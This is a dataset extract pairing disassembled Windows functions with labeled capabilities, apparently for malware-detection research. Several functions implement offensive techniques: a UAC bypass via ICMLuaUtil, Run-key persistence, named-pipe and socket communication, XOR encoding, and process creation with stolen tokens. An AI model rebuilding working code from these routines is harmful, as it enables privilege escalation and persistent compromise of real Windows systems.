joyce8/EMBER2024-capa huggingface dataset:
Function at 0x8c9156
Capabilities:
Bypass uac via icmluautil

Disassembly:
mov edi, edi
push esi
xor esi, esi
call fcn.008d2372
cmp eax, 2
jne 0x8c9252
call fcn.008d2366
cmp eax, 6
jb 0x8c9252
cmp dword [0x8d4680], esi
jne 0x8c9252
cmp dword [0x8d40d4], 0x800704c7
je 0x8c9255
mov eax, dword [0x8d40d0]
cmp eax, esi
je 0x8c91c4
push esi
call dword [fcn.008c1224]
cmp eax, esi
mov dword [0x8d40d0], eax
jge 0x8c91c4
push eax
push 0x8c2e08
push dword [0x8d43ec]
call fcn.008cf32f
add esp, 0xc
xor eax, eax
pop esi
ret
push 0x8d467c
push 0x8c2d28
push 0x8c2d58
push 0x8d4688
push dword [0x8d4684]
call dword [fcn.008c11a0]
neg eax
sbb eax, eax
and eax, dword [0x8d4684]
push eax
call fcn.008cfb48
cmp eax, esi
mov dword [0x8d40d4], eax
jl 0x8c923c
mov eax, dword [0x8d467c]
mov ecx, dword [eax]
push 0x8d4680
push 0x8c2ce8
push eax
call dword [ecx]
cmp eax, esi
jge 0x8c9252
push eax
push 0x8c2db8
push dword [0x8d43ec]
call fcn.008cf32f
mov eax, dword [0x8d467c]
mov ecx, dword [eax]
add esp, 0xc
push eax
call dword [ecx + 8]
mov dword [0x8d467c], esi
jmp 0x8c9255
push eax
push 0x8c2db8
push dword [0x8d43ec]
call fcn.008cf32f
add esp, 0xc
jmp 0x8c9255
xor esi, esi
inc esi
mov eax, esi
pop esi
ret
Function at 0x8cd21f
Capabilities:
Persist via run registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x640
mov eax, dword [0x8d40d8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x63c], eax
lea eax, [ebp - 0x628]
push eax
mov esi, 0x104
push esi
call dword [0x8c10d8]
test eax, eax
jne 0x8cd25f
mov eax, 0x80004005
jmp 0x8cd461
push ebx
push edi
push 0x900
xor edi, edi
push edi
push edi
push 0x8c14fc
push 0x105
lea eax, [ebp - 0x628]
push eax
call fcn.008d1bb4
mov ebx, dword [fcn.008c1008]
lea eax, [ebp - 0x62c]
push eax
push 0xf003f
push edi
push 0x8c1660
push 0x80000002
call ebx
test eax, eax
jne 0x8cd401
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x640]
push eax
push edi
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x41c]
push eax
mov dword [ebp - 0x630], edi
push edi
mov edi, dword [0x8c1040]
jmp 0x8cd3d5
cmp dword [ebp - 0x640], 1
jne 0x8cd3a4
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x63c]
call fcn.008cca42
test eax, eax
jne 0x8cd328
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x41c]
push eax
push 0x8c3d98
push dword [0x8d43ec]
call fcn.008cf32f
add esp, 0x10
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x63c]
call fcn.008cc74a
test eax, eax
jne 0x8cd366
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x41c]
push eax
push 0x8c3cc0
push dword [0x8d43ec]
call fcn.008cf32f
add esp, 0x10
lea eax, [ebp - 0x628]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x63c]
call fcn.008cce03
test eax, eax
jne 0x8cd3a4
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x41c]
push eax
push 0x8c3c00
push dword [0x8d43ec]
call fcn.008cf32f
add esp, 0x10
inc dword [ebp - 0x630]
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x640]
push eax
push 0
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x630]
push dword [ebp - 0x62c]
mov dword [ebp - 0x638], esi
mov dword [ebp - 0x634], esi
call edi
test eax, eax
je 0x8cd2dd
push dword [ebp - 0x62c]
call dword [section..text]
xor edi, edi
jmp 0x8cd413
push 0x8c3b18
push dword [0x8d43ec]
call fcn.008cf32f
pop ecx
pop ecx
call fcn.008c6fc0
lea eax, [ebp - 0x62c]
push eax
push 2
push edi
push 0x8c3ba0
push 0x80000002
call ebx
cmp eax, edi
jle 0x8cd43e
and eax, 0xffff
or eax, 0x80070000
cmp eax, edi
pop edi
pop ebx
jl 0x8cd45f
push 0x8c3b58
push dword [ebp - 0x62c]
call dword [0x8c1038]
push dword [ebp - 0x62c]
call dword [section..text]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.008ce492
leave
ret 4
Function at 0x100022f1
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x194
push esi
xor esi, esi
inc esi
cmp dword [0x1003cfc8], esi
je 0x1000232f
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x10002329
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call fcn.10015fac
mov dword [0x1003cfc8], esi
cmp dword [ebp + 8], 0
je 0x10002391
cmp dword [0x1003cfcc], esi
je 0x10002391
push 0x14
pop ecx
call fcn.100098dd
push 0x13
pop ecx
mov dword [0x1003cfd0], eax
call fcn.100098dd
push 0x3d
pop ecx
mov dword [0x1003cfd4], eax
call fcn.100098e8
push 0x3e
pop ecx
mov dword [0x10040e3c], eax
call fcn.100098e8
push 0x3f
pop ecx
mov dword [0x10040e30], eax
call fcn.100098e8
push 0x42
pop ecx
mov dword [0x10040e34], eax
call fcn.100098e8
mov dword [0x10040e38], eax
mov dword [0x1003cfcc], esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002745
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
call fcn.10004d5c
test eax, eax
jne 0x1000277a
push 0
push dword [0x10039c78]
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x1000277a
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x217
neg eax
sbb eax, eax
inc eax
je 0x10002756
lea edx, [ebp - 0x28]
call fcn.1000270b
sub esp, 0x20
push 8
pop ecx
mov esi, eax
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.1000243b
add esp, 0x20
pop edi
pop esi
leave
ret

Function at 0x1000279a
Capabilities:
Create pipe

Disassembly:
push 0
push 0
push 4
pop ecx
call fcn.100098dd
push eax
call fcn.100098dd
push eax
push 0xff
push 6
push 3
push 0xf
pop ecx
call fcn.100098e8
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
cmp eax, 0xffffffff
jne 0x100027dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x17
call fcn.10002216
pop ecx
pop ecx
xor eax, eax
ret
mov dword [0x10039c78], eax
xor eax, eax
mov dword [0x100391a0], 2
inc eax
ret

Function at 0x1000285e
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
cmp esi, 0x3ff
jg 0x10002897
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call fcn.10016100
add esp, 0xc
lea eax, [ebp - 0x400]
push eax
mov byte [ebp + esi - 0x400], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
leave
ret
Function at 0x10002b79
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push esi
push edi
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.1001d4e0
mov dword [ebp - 0x70], edi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 4]
push esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x44], 0x101
push dword [ebp + 8]
mov dword [ebp - 0x38], esi
call fcn.1000859e
add esp, 0x18
test eax, eax
je 0x10002c39
push 0x2710
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x34], eax
je 0x10002c21
or eax, 0xffffffff
push eax
push dword [ebp - 8]
lea esi, [ebp - 0x24]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005f86
add esp, 0x18
pop edi
pop esi
leave
ret

Function at 0x10002d3b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, 0x400
push esi
call fcn.100158ef
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10002ddd
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push dword [ebp + 8]
push eax
call fcn.10007324
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.10007513
add esp, 0x14
test eax, eax
jne 0x10002d81
push ebx
call fcn.10015812
jmp 0x10002ddc
push dword [ebp + 0x10]
push ebx
call fcn.100162e8
mov esi, eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x10002dc6
test esi, esi
je 0x10002dc6
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.100074b6
add esp, 4
push eax
push 1
lea eax, [ebp - 0x14]
call fcn.100074c1
push eax
call fcn.10016461
push esi
call fcn.1001655a
push ebx
call fcn.10015812
add esp, 0x18
jmp 0x10002ddd
push ebx
call fcn.10015812
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 8
call fcn.10002216
pop ecx
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x10002de1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push 0x7ff
lea eax, [ebp - 0x7ff]
push 0
push eax
mov byte [ebp - 0x800], 0
call fcn.1001d4e0
add esp, 0xc
lea eax, [ebp - 0x800]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jbe 0x10002e2f
push 0x13
push eax
lea eax, [ebp - 0x800]
push eax
call fcn.100012c1
add esp, 0xc
leave
ret
Function at 0x10002ea5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002ec3
or eax, 0xffffffff
jmp 0x10002f12
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x10002ebe
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0xc]
push eax
call fcn.1001c2f0
add esp, 0xc
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x10], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
je 0x10002f10
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10002ebe
mov eax, esi
pop esi
leave
ret

Function at 0x10002f15
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
or ebx, 0xffffffff
call esi
push dword [ebp + 0xc]
mov edi, eax
push dword [ebp + 8]
lea eax, [ebp - 0x20]
push eax
add edi, 0xea60
call fcn.10007324
lea eax, [ebp - 0x20]
add esp, 0xc
push eax
call fcn.10007557
mov dword [ebp - 8], eax
pop ecx
lea eax, [ebp - 0x20]
push eax
call fcn.1000733d
mov dword [ebp - 4], eax
pop ecx
lea eax, [ebp - 0x20]
call fcn.100074c1
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
call fcn.100074b6
add esp, 4
mov dword [ebp - 0xc], eax
call fcn.100022e8
jmp 0x10002f9d
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10002ea5
mov ebx, eax
pop ecx
pop ecx
cmp ebx, 0xffffffff
jne 0x10002fc1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x10002f7e
push 0x46
call fcn.10002279
pop ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call sub.WS2_32.dll_closesocket
pop edi
pop esi
pop ebx
leave
ret
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push ebx
call sub.WS2_32.dll_send
jmp 0x10002fab
Function at 0x10002fd1
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
add esi, 0xea60
call fcn.10007324
lea eax, [ebp - 0x24]
push 0x80
push eax
lea ebx, [ebp - 0xa8]
call fcn.10007513
lea eax, [ebp - 0x24]
call fcn.100074c1
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x24]
push eax
call fcn.100074b6
add esp, 0x18
mov dword [ebp - 8], eax
xor ebx, ebx
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 4]
call fcn.100063c8
pop ecx
test eax, eax
jne 0x10003083
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x10003066
call edi
cmp eax, esi
jae 0x10003066
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x10003030
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xa8]
push eax
push 0x32
call fcn.10002244
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call edi
cmp dword [ebp - 8], 0
jbe 0x100030d4
mov ebx, 0x2000
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
sub eax, esi
cmp eax, ebx
jbe 0x100030b3
mov eax, ebx
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
mov eax, dword [ebp - 0x14]
add eax, esi
push eax
push dword [ebp - 4]
call edi
test eax, eax
je 0x100030d4
add esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, dword [ebp - 8]
jb 0x100030a5
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edx, dword [ebp - 4]
call fcn.1000aab2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000307e

Function at 0x1000338e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, esi
call fcn.10003316
test eax, eax
je 0x100033da
mov eax, dword [0x1003cfe4]
shl esi, 5
add eax, esi
xor esi, esi
cmp dword [eax + 0x10], esi
jne 0x100033da
cmp dword [eax + 0x14], esi
je 0x100033da
cmp dword [eax + 0x18], esi
jbe 0x100033d3
mov ecx, dword [eax + 0x14]
mov edx, esi
and edx, 3
mov dl, byte [edx + 0x10039c7c]
add ecx, esi
xor byte [ecx], dl
inc esi
cmp esi, dword [eax + 0x18]
jb 0x100033bb
mov dword [eax + 0x10], 1
pop esi
pop ebp
ret

Function at 0x100033dd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, esi
call fcn.10003316
test eax, eax
je 0x10003428
mov eax, dword [0x1003cfe4]
shl esi, 5
add eax, esi
cmp dword [eax + 0x10], 0
je 0x10003428
cmp dword [eax + 0x14], 0
je 0x10003428
xor esi, esi
cmp dword [eax + 0x18], esi
jbe 0x10003424
mov ecx, dword [eax + 0x14]
mov edx, esi
and edx, 3
mov dl, byte [edx + 0x10039c7c]
add ecx, esi
xor byte [ecx], dl
inc esi
cmp esi, dword [eax + 0x18]
jb 0x1000340c
and dword [eax + 0x10], 0
pop esi
pop ebp
ret
Function at 0x10003aed
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp esi, 0x100
jge 0x10003b63
push ebx
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push eax
call fcn.1001c2f0
or dword [0x10039190], 0xffffffff
or dword [0x1003505c], 0xffffffff
or dword [0x10039194], 0xffffffff
add esp, 0xc
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 2
push 4
push 3
lea eax, [ebp - 0x100]
push eax
mov byte [ebp + esi - 0x100], bl
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x1003505c], eax
cmp eax, ebx
je 0x10003b62
push ebx
push 0x10003984
call fcn.1000b011
pop ecx
pop ecx
mov dword [0x10039194], eax
pop ebx
leave
ret

Function at 0x10003e2c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push dword [ebx + 0xc]
push dword [ebx + 8]
push dword [ebp + 0xc]
push 0
push dword [ebx + 0x10]
push dword [ebp + 8]
push 0
push 2
push dword [0x1003d8b0]
push dword [0x1003d8a8]
push dword [0x1003d8ac]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x10003e6b
xor eax, eax
inc eax
leave
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x10003f1c
mov edx, dword [ebx]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003e83
sub eax, esi
mov edi, 0x100
cmp eax, edi
jae 0x10003f1c
push str.sysnative
push edx
call fcn.100159c0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10003f1c
push edi
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.1001d4e0
mov eax, dword [str.system32]
mov dword [esi], eax
mov eax, dword [0x1002e568]
mov dword [esi + 4], eax
add esp, 0xc
add esi, 9
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003ed5
sub eax, edi
push eax
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.1001c2f0
lea eax, [ebp - 0x100]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003ef8
sub eax, edi
inc eax
push eax
lea eax, [ebp - 0x100]
push eax
dec esi
push esi
call fcn.1001c2f0
push ebx
call fcn.10003f35
add esp, 0x10
jmp 0x10003f31
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebx]
push 0x45
call fcn.10002244
add esp, 0xc
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10003f35
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1104
call fcn.1001d300
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x7fe
push esi
mov word [ebp - 0x904], ax
xor ebx, ebx
lea eax, [ebp - 0x902]
push ebx
push eax
call fcn.1001d4e0
xor eax, eax
push esi
mov word [ebp - 0x1104], ax
lea eax, [ebp - 0x1102]
push ebx
push eax
call fcn.1001d4e0
mov esi, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [eax + 8], ebx
mov edi, 0x400
push edi
lea eax, [ebp - 0x904]
push eax
push dword [esi]
mov dword [ebp - 4], ebx
call fcn.10002a5a
add esp, 0x24
test eax, eax
jne 0x10003fb2
push dword [esi + 4]
push 7
call fcn.10002216
pop ecx
pop ecx
jmp 0x10004129
push ebx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
call ebx
cmp eax, edi
jae 0x10003fd3
lea eax, [ebp - 0x1104]
push eax
push edi
call ebx
lea eax, [ebp - 0x1104]
mov dword [ebp - 4], eax
call fcn.1000b0bf
push dword [esi + 0xc]
lea eax, [ebp - 0x904]
push dword [esi + 8]
push dword [ebp - 4]
push 0
push dword [esi + 0x10]
push eax
push 0
push 2
push dword [0x1003d8a4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov edi, eax
call fcn.1000b102
test edi, edi
je 0x10004010
xor eax, eax
inc eax
jmp 0x1000412b
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
cmp eax, 0x522
jne 0x1000404a
test ebx, ebx
je 0x1000404a
cmp dword [0x1003d8b8], 1
jne 0x1000404a
push dword [ebp - 4]
lea eax, [ebp - 0x904]
push eax
mov ebx, esi
call fcn.10003e2c
pop ecx
pop ecx
jmp 0x1000412b
call edi
cmp eax, 0x57
jne 0x10004069
mov eax, dword [esi + 8]
cmp dword [eax], 0x48
jne 0x10004069
test ebx, ebx
je 0x10004069
call edi
push eax
push dword [esi]
push 0x4a
jmp 0x10004121
call edi
cmp eax, 3
jne 0x1000411a
mov edx, dword [esi]
mov eax, edx
lea ecx, [eax + 1]
mov bl, byte [eax]
inc eax
test bl, bl
jne 0x1000407b
sub eax, ecx
mov ebx, 0x100
cmp eax, ebx
jae 0x1000411a
push str.sysnative
push edx
call fcn.100159c0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10004114
push ebx
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.1001d4e0
mov eax, dword [str.system32]
mov dword [edi], eax
mov eax, dword [0x1002e568]
mov dword [edi + 4], eax
add esp, 0xc
add edi, 9
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100040cd
sub eax, ecx
push eax
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.1001c2f0
lea eax, [ebp - 0x104]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100040f0
sub eax, ecx
inc eax
push eax
lea eax, [ebp - 0x104]
push eax
dec edi
push edi
call fcn.1001c2f0
push esi
call fcn.10003f35
add esp, 0x10
jmp 0x1000412b
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push dword [esi]
push 0x29
call fcn.10002244
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004130
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [0x1003d8a4]
push ebx
push edi
xor edi, edi
cmp eax, edi
je 0x10004192
cmp dword [esi + 0x14], edi
jne 0x10004192
push dword [esi + 0xc]
push dword [esi + 8]
push edi
push edi
push dword [esi + 0x10]
push 1
push edi
push edi
push dword [esi]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x100041bb
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x522
jne 0x1000417f
cmp dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW], edi
je 0x1000417f
push esi
call fcn.10003f35
pop ecx
jmp 0x100041be
call ebx
push eax
push dword [esi]
push 0x29
call fcn.10002244
add esp, 0xc
xor eax, eax
jmp 0x100041be
push dword [esi + 0xc]
push dword [esi + 8]
push edi
push edi
push dword [esi + 0x10]
push 1
push edi
push edi
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100041bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esi]
push 0x30
jmp 0x10004186
xor eax, eax
inc eax
pop edi
pop ebx
ret

Function at 0x100041c1
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, eax
test byte [esi + 0x10], 4
push edi
jne 0x10004221
push ebx
mov ebx, dword [esi]
lea edi, [ebp - 0xc]
call fcn.1000124b
pop ebx
test eax, eax
je 0x10004221
mov eax, dword [ebp - 0xc]
or dword [esi + 0x10], 4
mov dword [esi], eax
call fcn.10004130
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push dword [esi + 0xc]
call fcn.10003ca7
pop ecx
test eax, eax
mov eax, dword [esi + 0xc]
pop ecx
jne 0x10004214
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x10004226
push dword [eax + 4]
call fcn.1000a803
pop ecx
mov eax, edi
jmp 0x10004226
call fcn.10004130
pop edi
pop esi
leave
ret
Function at 0x1000422a
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and dword [ebp - 0x18], 0
push ebx
push esi
push edi
push 0xa000
call fcn.100072b2
mov edi, eax
mov esi, 0x4000
push esi
push edi
mov dword [ebp - 0x1c], edi
call fcn.1000746f
mov ebx, 0x400
push ebx
push edi
mov dword [ebp - 8], eax
call fcn.1000746f
push ebx
push edi
mov dword [ebp - 0x10], eax
call fcn.1000746f
push ebx
push edi
mov dword [ebp - 0x14], eax
call fcn.1000746f
push ebx
push edi
mov dword [ebp - 0xc], eax
call fcn.1000746f
push 0x44
pop edi
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x60]
push 0
push eax
call fcn.1001d4e0
mov dword [ebp - 0x60], edi
mov edi, dword [ebp + 0x1c]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x38
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push esi
push dword [ebp - 8]
xor edi, edi
push dword [ebp + 0x14]
xor eax, eax
mov dword [ebp - 0x34], 0x101
mov word [ebp - 0x30], ax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x58], edi
call fcn.10002a5a
push ebx
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call fcn.10002a5a
push ebx
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.10002a5a
push ebx
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.10002a5a
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0x30
push edi
push edi
call esi
cmp eax, ebx
jae 0x10004311
push dword [ebp - 4]
push ebx
call esi
mov eax, dword [ebp - 4]
jmp 0x10004314
mov eax, dword [ebp - 0x18]
push dword [ebp + 0x1c]
lea ecx, [ebp - 0x60]
push ecx
push eax
mov eax, dword [ebp + 0x18]
push edi
or eax, 0x8000400
push eax
push dword [ebp - 8]
push edi
push 1
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x10004344
xor edi, edi
inc edi
jmp 0x10004363
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x14]
push str._s_as__s_s:__d
push 0x35
call fcn.1000228e
add esp, 0x18
mov esi, dword [ebp - 0x1c]
call fcn.100072fd
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret